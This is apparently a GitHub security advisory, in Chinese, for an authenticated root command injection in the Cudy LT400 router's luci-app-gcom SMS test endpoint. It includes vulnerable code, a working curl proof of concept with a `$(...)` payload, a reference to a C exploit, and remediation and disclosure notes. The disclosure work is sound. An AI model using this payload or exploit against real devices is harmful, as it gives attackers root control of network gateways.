archnexus707/cudy-lt400-gcom-sms-rce

GitHub: archnexus707/cudy-lt400-gcom-sms-rce

该项目披露了 Cudy LT400 路由器 luci-app-gcom 组件中的已认证 root 命令注入漏洞,并提供 PoC 利用程序与修复建议。

Stars: 0 | Forks: 0

# Cudy LT400 — `luci-app-gcom` 中的已认证 Root OS 命令注入(SMS "send test") **类别:** CWE-78 — OS 命令注入 **影响:** 以 **root** 身份执行任意命令(设备完全被攻陷) **受影响范围:** Cudy LT400,固件 **1.15.27**(LEDE/OpenWrt 17.01.5),硬件版本 LT400A R6 **组件:** `/usr/lib/lua/luci/controller/gcom.lua` → `action_send_test` **Endpoint:** `POST /cgi-bin/luci/admin/network/gcom/sms/sendtest`(参数 `content`, `phone`) **发现者:** archnexus707 · 2026 · 已向 Cudy 负责任披露 ## 概述 Cudy LT400 4G LTE 路由器运行的是厂商定制的 LEDE/OpenWrt 17.01.5 镜像,并带有 LuCI Web 界面。Cudy 专有的 `luci-app-gcom` 包在其 SMS *send test message* 处理程序中存在 OS 命令注入漏洞。HTTP 参数 `content` 和 `phone` 在未经充分清理的情况下,被直接拼接进通过 `luci.util.exec()` 运行的 `/bin/sh` 管道中。由于 `uhttpd` 以 **root** 身份运行,已认证的管理员可以实现以 root 身份执行任意命令。 ## 根本原因 重建的 `action_send_test`(控制器以 Lua 字节码形式发布;逻辑从字符串常量中恢复): ``` local content = "[Cudy]" .. luci.http.formvalue("content") -- attacker-controlled content = content:gsub('"', '') -- only double quotes removed (INSUFFICIENT) luci.util.exec(string.format( 'echo -n "%s" | iconv -f UTF-8 -t UCS-2LE | hexdump ...', content)) -- SHELL SINK ``` 唯一的过滤措施是移除 `"` 字符。随后该值被放入一个**双引号**包裹的 shell 词中:`echo -n ""`。在 POSIX `sh` 中,命令替换 `$(...)` 和反引号**在双引号内仍然会被求值**,因此有效载荷 `content=$(id)` 会执行 `id`。这不需要突破引号限制,使得剥离引号的方法无效。`content` 和 `phone` 都会传送到 shell 且均可被注入。 ## 概念验证 ``` # 在通过 LuCI 认证并获取 session cookie + CSRF token 之后: curl -s -b "sysauth=$COOKIE" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "iface=4g" \ --data-urlencode "phone=10086" \ --data-urlencode 'content=$({ id; uname -a; } > /www/poc.txt 2>&1)' \ "http:///cgi-bin/luci/admin/network/gcom/sms/sendtest" curl -s "http:///poc.txt" # -> uid=0(root) gid=0(root) # Linux LT400 4.4.140 ... mips GNU/Linux ``` 提供了一个独立的 C 语言漏洞利用程序:[`cudy_lt400_gcom_rce.c`](./cudy_lt400_gcom_rce.c) (使用原始套接字,无外部依赖)。它会登录、提取 CSRF token、注入命令、渗出输出结果并进行清理。 ``` gcc -O2 -D_GNU_SOURCE -o cudy_rce cudy_lt400_gcom_rce.c ./cudy_rce "id; uname -a" ``` ## 影响 设备被完全以 root 权限攻陷。作为网络网关,这使得攻击者能够进行流量拦截/篡改、DNS/凭据收集、植入持久化后门、局域网(LAN)枢纽跳板攻击、modem/SIM/SMS 滥用以及拒绝服务攻击。 ## 严重程度 - **CVSS v3.1:** 7.2 (High) — `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` - **CVSS v4.0:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` ## 修复建议 不要将用户输入直接传递给 shell。请通过参数向量(argument-vector)API 对 SMS 正文进行编码,或者从 stdin/临时文件中提取内容输入给 `iconv`,而不是使用 `echo -n "..."`。如果必须使用 shell,请严格对 SMS 内容使用允许列表,并转义 `$()`、反引号、`\`、`;`、`|`、`&` 和换行符(仅剥离 `"` 是不够的)。审查同类的 `action_send_sms`(来自 `phone` 的 `AT+CMGW="%s"`)是否存在 AT 命令注入。在可行的情况下,应移除 `uhttpd`/CGI 的 root 权限。 ## 与既有研究的区分 - ≠ **CVE-2024-39209**(`luci-app-sms-tool`,一个不同的社区包)。 - ≠ **CVE-2026-4537**(Cudy **TR1200** `ipsec.lua` `action_ipsec_conn` — 不同的产品/控制器/函数)。同*类别*,但属于独立实例。 - 迄今为止公开的 Cudy LT400 CVE 均为 XSS(例如 CVE-2023-31852),而非 gcom/SMS 路径中的命令注入。 ## 漏洞披露 已通过协调披露流程向 Cudy(`support@cudy.com`)报告;已通过 MITRE CNA-LR 请求分配 CVE ID。设有 90 天的披露窗口期。
标签:Go语言工具, LuCI, OpenWrt, PoC, rizin, 命令注入, 客户端加密, 暴力破解, 路由器漏洞